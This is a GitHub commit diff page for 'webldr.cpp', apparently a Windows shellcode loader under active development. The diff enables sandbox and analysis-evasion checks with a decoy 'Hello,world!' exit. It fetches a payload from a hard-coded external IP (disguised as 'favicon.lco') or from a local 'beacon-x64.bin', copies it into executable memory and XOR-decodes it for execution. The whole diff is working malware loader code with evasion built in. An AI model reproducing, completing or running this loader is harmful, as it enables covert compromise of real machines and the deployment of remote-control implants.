Skip to content

Commit 07566c0

Browse files
authored
Update webldr.cpp
1 parent a41778e commit 07566c0

File tree

1 file changed

+11
-12
lines changed

1 file changed

+11
-12
lines changed

webldr/webldr.cpp

Lines changed: 11 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -198,33 +198,32 @@ bool whereisWIFI()
198198

199199
int main() {
200200

201-
//whoisyourdad();
201+
whoisyourdad();
202202
tbCheck();
203-
/*if (regCheck()) {
203+
if (regCheck()) {
204204
printf("Hello,world!");
205205
return 0;
206-
}*/
206+
}
207207
HINTERNET inet = InternetOpenA("Python api test", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
208208
if (inet == NULL) {
209209
cout << "Error opening internet connection: " << GetLastError() << endl;
210210
return 1;
211211
}
212-
HINTERNET url = InternetOpenUrlA(inet, "http://45.153.131.130:30080/favicon.lco", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_CACHE_WRITE, 0);
213-
/*HINTERNET url = InternetOpenUrlA(inet, "http://45.153.131.130:40080/favicon.lco", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_CACHE_WRITE, 0);*/
214-
/*if (url == NULL) {
212+
HINTERNET url = InternetOpenUrlA(inet, "http://localhost/beacon-x64.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_CACHE_WRITE, 0);
213+
if (url == NULL) {
215214
cout << "Error opening URL: " << GetLastError() << endl;
216215
InternetCloseHandle(inet);
217216
return 1;
218-
}*/
217+
}
219218

220219
DWORD size = 295940;
221220

222-
/* if (!InternetQueryDataAvailable(url, &size, 0, 0)) {
221+
if (!InternetQueryDataAvailable(url, &size, 0, 0)) {
223222
cout << "Error getting shellcode size: " << GetLastError() << endl;
224223
InternetCloseHandle(url);
225224
InternetCloseHandle(inet);
226225
return 1;
227-
}*/
226+
}
228227

229228
// Allocate memory and read the shellcode into it
230229
LPVOID testcodes = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
@@ -255,10 +254,10 @@ int main() {
255254
InternetCloseHandle(url);
256255
InternetCloseHandle(inet);
257256

258-
/*for (DWORD i = 0; i < size; i++) {
257+
for (DWORD i = 0; i < size; i++) {
259258
*((LPBYTE)testcodes + i) = *((LPBYTE)testcodes + i) ^ 88;
260-
}*/
261-
//whereisWIFI();
259+
}
260+
whereisWIFI();
262261
//((void(*)())testcodes)();
263262
PVOID lpContext;
264263
BOOL bStatus;

0 commit comments

Comments
 (0)